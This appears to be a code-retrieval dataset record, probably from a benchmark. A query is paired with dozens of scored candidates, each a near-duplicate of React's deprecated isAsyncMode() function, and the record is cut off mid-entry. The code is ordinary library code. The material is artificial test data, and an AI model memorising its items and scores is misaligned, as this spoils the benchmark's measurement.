[ { "docid": "d52765c1f256383903548e48578e0e60", "score": "0.0", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" } ]
[ { "docid": "f875530dcfc8e17a6260c6612c5c142a", "score": "0.71477026", "text": "function isAsyncMode(object){{if(!hasWarnedAboutDeprecatedIsAsyncMode){hasWarnedAboutDeprecatedIsAsyncMode=true;lowPriorityWarning$1(false,'The ReactIs.isAsyncMode() alias has been deprecated, '+'and will be removed in React 17+. Update your code to use '+'ReactIs.isConcurrentMode() instead. It has the exact same API.');}}return isConcurrentMode(object)||typeOf(object)===REACT_ASYNC_MODE_TYPE;}", "title": "" }, { "docid": "e4caf192be3aba89e2b8af94f3a1702a", "score": "0.707457", "text": "function isAsyncMode(object){{if(!hasWarnedAboutDeprecatedIsAsyncMode){hasWarnedAboutDeprecatedIsAsyncMode=true;// Using console['warn'] to evade Babel and ESLint\nconsole['warn']('The ReactIs.isAsyncMode() alias has been deprecated, '+'and will be removed in React 17+. Update your code to use '+'ReactIs.isConcurrentMode() instead. It has the exact same API.');}}return isConcurrentMode(object)||typeOf(object)===REACT_ASYNC_MODE_TYPE;}", "title": "" }, { "docid": "ca5b2630010f010f2702c79490d8f370", "score": "0.69151664", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console[\"warn\"](\n \"The ReactIs.isAsyncMode() alias has been deprecated, \" +\n \"and will be removed in React 17+. Update your code to use \" +\n \"ReactIs.isConcurrentMode() instead. It has the exact same API.\"\n );\n }\n }\n return (\n isConcurrentMode(object) ||\n typeOf(object) === REACT_ASYNC_MODE_TYPE\n );\n }", "title": "" }, { "docid": "3bc86d4c0bc033d37f07769fe98941fd", "score": "0.6901598", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t }", "title": "" }, { "docid": "9919c6f56162ec68b807540c3cd860d9", "score": "0.6841173", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object);\n\t}", "title": "" }, { "docid": "e6329006f5c397a6090c4ec2193b201d", "score": "0.68282056", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console['warn'](\n 'The ReactIs.isAsyncMode() alias has been deprecated, ' +\n 'and will be removed in React 17+. Update your code to use ' +\n 'ReactIs.isConcurrentMode() instead. It has the exact same API.'\n );\n }\n }\n\n return (\n isConcurrentMode(object) ||\n typeOf(object) === REACT_ASYNC_MODE_TYPE\n );\n }", "title": "" }, { "docid": "d03d0695d7a91a56b307e730f85cf54e", "score": "0.6809441", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "d03d0695d7a91a56b307e730f85cf54e", "score": "0.6809441", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "d03d0695d7a91a56b307e730f85cf54e", "score": "0.6809441", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "d03d0695d7a91a56b307e730f85cf54e", "score": "0.6809441", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true;\n\t lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "dbf2d15326b5f8dfa90541eb2c8c1a7c", "score": "0.68086684", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console[\"warn\"](\n \"The ReactIs.isAsyncMode() alias has been deprecated, \" +\n \"and will be removed in React 17+. Update your code to use \" +\n \"ReactIs.isConcurrentMode() instead. It has the exact same API.\"\n );\n }\n }\n return (\n isConcurrentMode(object) ||\n typeOf(object) === REACT_ASYNC_MODE_TYPE\n );\n }", "title": "" }, { "docid": "d2a0f8313f0643056bc21ec50601c4d2", "score": "0.6802685", "text": "function isAsyncMode(object) {\n \t {\n \t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n \t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n \t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n \t }\n \t }\n\n \t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n \t}", "title": "" }, { "docid": "b8068acaf9c912b90e4f08a8b24ee929", "score": "0.6793582", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, \"The ReactIs.isAsyncMode() alias has been deprecated, and will be removed in React 17+. Update your code to use ReactIs.isConcurrentMode() instead. It has the exact same API.\");\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "5a0f72b6773195c6b56e3adb2d461f1d", "score": "0.6785743", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\t\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\t\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "b588303cd02294d9b164dfede4ee5fe3", "score": "0.6750946", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, \"The ReactIs.isAsyncMode() alias has been deprecated, and will be removed in React 17+. Update your code to use ReactIs.isConcurrentMode() instead. It has the exact same API.\");\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "99c79babc86ac794350315a8ce3b9d03", "score": "0.6745032", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "ae77ad11445ad5ac0cf7165719619e35", "score": "0.67432344", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "ae77ad11445ad5ac0cf7165719619e35", "score": "0.67432344", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "b5790850aa6b1a828ddf18681b730317", "score": "0.67303115", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "b5790850aa6b1a828ddf18681b730317", "score": "0.67303115", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "b5790850aa6b1a828ddf18681b730317", "score": "0.67303115", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "b5790850aa6b1a828ddf18681b730317", "score": "0.67303115", "text": "function isAsyncMode(object) {\n\t {\n\t if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n\t hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n\t console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n\t }\n\t }\n\n\t return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n\t}", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "3e5d2202277ae8245405bf015da64874", "score": "0.67276573", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n }", "title": "" }, { "docid": "61b6a4c7c6c18525d419e2666a086e80", "score": "0.67036957", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint\n\n console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 18+.');\n }\n }\n return false;\n }", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "7bbfc87f2f801920142a7db81ce9e302", "score": "0.6701896", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarningWithoutStack$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === 